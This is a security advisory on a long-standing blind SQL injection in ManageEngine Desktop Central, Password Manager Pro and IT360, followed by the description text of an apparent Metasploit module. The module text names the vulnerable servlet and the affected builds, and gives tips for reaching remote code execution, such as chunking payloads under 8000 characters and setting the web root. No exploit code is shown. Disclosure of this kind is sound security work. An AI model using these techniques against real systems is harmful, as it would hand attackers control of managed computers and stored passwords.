>> Blind SQL injection in ManageEngine Desktop Central, Password Manager Pro and IT360 (including MSP versions)  
>> Discovered by Pedro Ribeiro ([email protected]), Agile Information Security  
==========================================================================  
  
>> Background on the affected products:  
"Desktop Central is an integrated desktop & mobile device management  
software that helps in managing the servers, laptops, desktops,  
smartphones and tablets from a central point. It automates your  
regular desktop management routines like installing patches,  
distributing software, managing your IT Assets, managing software  
licenses, monitoring software usage statistics, managing USB device  
usage, taking control of remote desktops, and more."  
  
"Password Manager Pro is a secure vault for storing and managing  
shared sensitive information such as passwords, documents and digital  
identities of enterprises."  
  
"Managing mission critical business applications is now made easy  
through ManageEngine IT360. With agentless monitoring methodology,  
monitor your applications, servers and databases with ease. Agentless  
monitoring of your business applications enables you high ROI and low  
TOC. With integrated network monitoring and bandwidth utilization,  
quickly troubleshoot any performance related issue with your network  
and assign issues automatically with ITIL based ServiceDesk  
integration."  
  
These products have managed service providers (MSP) versions which are  
used to control the desktops and smartphones of several clients.  
Quoting the author of the Internet Census 2012: "As a rule of thumb,  
if you believe that "nobody would connect that to the Internet, really  
nobody", there are at least 1000 people who did."  
These vulnerabilities can be abused to achieve remote code execution  
as SYSTEM in Windows or as the user in Linux. Needless to say, owning  
a Desktop Central / IT360 box will give you control of all the  
computers and smartphones it manages, while owning Password Manager  
Pro will give you a treasure trove of passwords.  
  
>> Technical details:  
The two blind SQL injections described below have been present in  
Desktop Central, Password Manager Pro and IT360 in all releases since  
2006. They can only be triggered via a GET request, which means you  
can only inject around 8000 characters at a time.

'Name' => "ManageEngine Password Manager Pro v6-v7 b7002 / Desktop Central v7-v9 b90033 SQL Injection",  
'Description' => %q{  
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,  
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and  
Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The  
SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as  
the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older  
or upgraded builds). MySQL targets are more reliable due to the use of relative paths;  
with PostgreSQL you should find the web root path via other means and specify it with  
WEB_ROOT.  
  
The injection is only exploitable via a GET request, which means that the payload  
has to be sent in chunks smaller than 8000 characters (URL size limitation). Small  
payloads and the use of exe-small is recommended, as you can only do between 10 and  
20 injections before using up all the available ManagedConnections until the next  
server restart.  
  
This vulnerability exists in all versions released since 2006, however builds below  
DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your  
luck using the MySQL targets as a JDK might be installed in the $PATH.
